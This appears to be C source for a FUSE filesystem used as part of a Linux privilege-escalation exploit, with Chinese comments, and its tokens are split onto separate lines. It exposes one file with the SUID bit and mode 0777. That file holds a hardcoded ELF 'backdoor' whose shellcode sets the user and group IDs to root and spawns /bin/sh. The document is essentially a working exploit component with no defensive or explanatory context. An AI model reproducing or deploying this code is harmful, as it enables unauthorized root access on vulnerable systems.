static const char
*
hello_path
=
"/hello"
;
/
/
fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[]
=
{
/
/
fuse文件系统中的suid 后门文件的二进制内容
0x7f
,
0x45
,
0x4c
,
0x46
,
0x02
,
0x01
,
0x01
,
0x00
,
0x00
,
0x56
,
0x56
,
0x56
,
0x56
,
0x00
,
0x00
,
0x00
,
0x02
,
0x00
,
0x3e
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0xb0
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0x40
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x40
,
0x00
,
0x38
,
0x00
,
0x02
,
0x00
,
0x40
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x07
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0xf6
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0xf6
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x51
,
0xe5
,
0x74
,
0x64
,
0x07
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x31
,
0xff
,
0x31
,
0xd2
,
0x31
,
0xf6
,
0x6a
,
0x75
,
0x58
,
0x0f
,
0x05
,
0x31
,
0xff
,
0x31
,
0xd2
,
0x31
,
0xf6
,
0x6a
,
0x77
,
0x58
,
0x0f
,
0x05
,
0x6a
,
0x68
,
0x48
,
0xb8
,
0x2f
,
0x62
,
0x69
,
0x6e
,
0x2f
,
0x2f
,
0x2f
,
0x73
,
0x50
,
0x48
,
0x89
,
0xe7
,
0x68
,
0x72
,
0x69
,
0x01
,
0x01
,
0x81
,
0x34
,
0x24
,
0x01
,
0x01
,
0x01
,
0x01
,
0x31
,
0xf6
,
0x56
,
0x6a
,
0x08
,
0x5e
,
0x48
,
0x01
,
0xe6
,
0x56
,
0x48
,
0x89
,
0xe6
,
0x31
,
0xd2
,
0x6a
,
0x3b
,
0x58
,
0x0f
,
0x05
};
static
int
hellofs_getattr(const char
*
path, struct stat
*
stbuf)
/
/
获取文件或目录的属性信息的回调函数
getattr
{
int
res
=
0
;
memset(stbuf,
0
, sizeof(struct stat));
if
(strcmp(path,
"/"
)
=
=
0
) {
/
/
fuse文件系统根目录的权限,
0755
stbuf
-
>st_mode
=
S_IFDIR |
0755
;
stbuf
-
>st_nlink
=
2
;
}
else
if
(strcmp(path, hello_path)
=
=
0
) {
/
/
hello文件的权限,
777
并且带有SUID
stbuf
-
>st_mode
=
S_IFREG | S_ISUID |
0777
;
stbuf
-
>st_nlink
=
1
;
stbuf
-
>st_size
=
sizeof(hello_str);
/
/
hello文件实际大小
}
else
{
res
=
-
ENOENT;
}
return
res;
}
static
int
hellofs_readdir(const char
*
path, void
*
buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info
*
fi)
/
/
获取目录信息的函数
{
(void) offset;
(void) fi;
if
(strcmp(path,
"/"
) !
=
0
) {
/
/
目前只支持查看fuse的根目录
return
-
ENOENT;
}
filler(buf,
"."
, NULL,
0
);
/
/
默认显示.和..
filler(buf,
".."
, NULL,
0
);
filler(buf, hello_path
+
1
, NULL,
0
);
/
/
fuse根目录有一个hello文件
return
0
;
}
static
int
hellofs_open(const char
*
path, struct fuse_file_info
*
fi)
/
/
打开文件的
open
回调函数
{
if
(strcmp(path, hello_path) !
=
0
) {
/
/
只支持打开hello文件
return
-
ENOENT;
}
return
0
;
}
static
int
hellofs_read(const char
*
path, char
*
buf, size_t size, off_t offset,
struct fuse_file_info
*
fi)
/
/
读文件的回调函数read
{
size_t
len
;
(void) fi;
if
(strcmp(path, hello_path) !
=
0
) {
/
/
只支持读hello文件
return
-
ENOENT;
}
len
=
sizeof(hello_str);
if
(offset <
len
) {
if
(offset
+
size >
len
) {
size
=
len
-
offset;
}
memcpy(buf, hello_str
+
offset, size);
/
/
返回hello文件的内容,即上面的二进制数组
}
else
{
size
=
0
;
}
return
size;
}
static struct fuse_operations hellofs_oper
=
{
/
/
只实现上述四个回调函数已经够了
.
getattr
=
hellofs_getattr,
.readdir
=
hellofs_readdir,
.
open
=
hellofs_open,
.read
=
hellofs_read,
};
int
main(
int
argc, char
*
argv[])
{
return
fuse_main(argc, argv, &hellofs_oper, NULL);
/
/
注册回调函数
}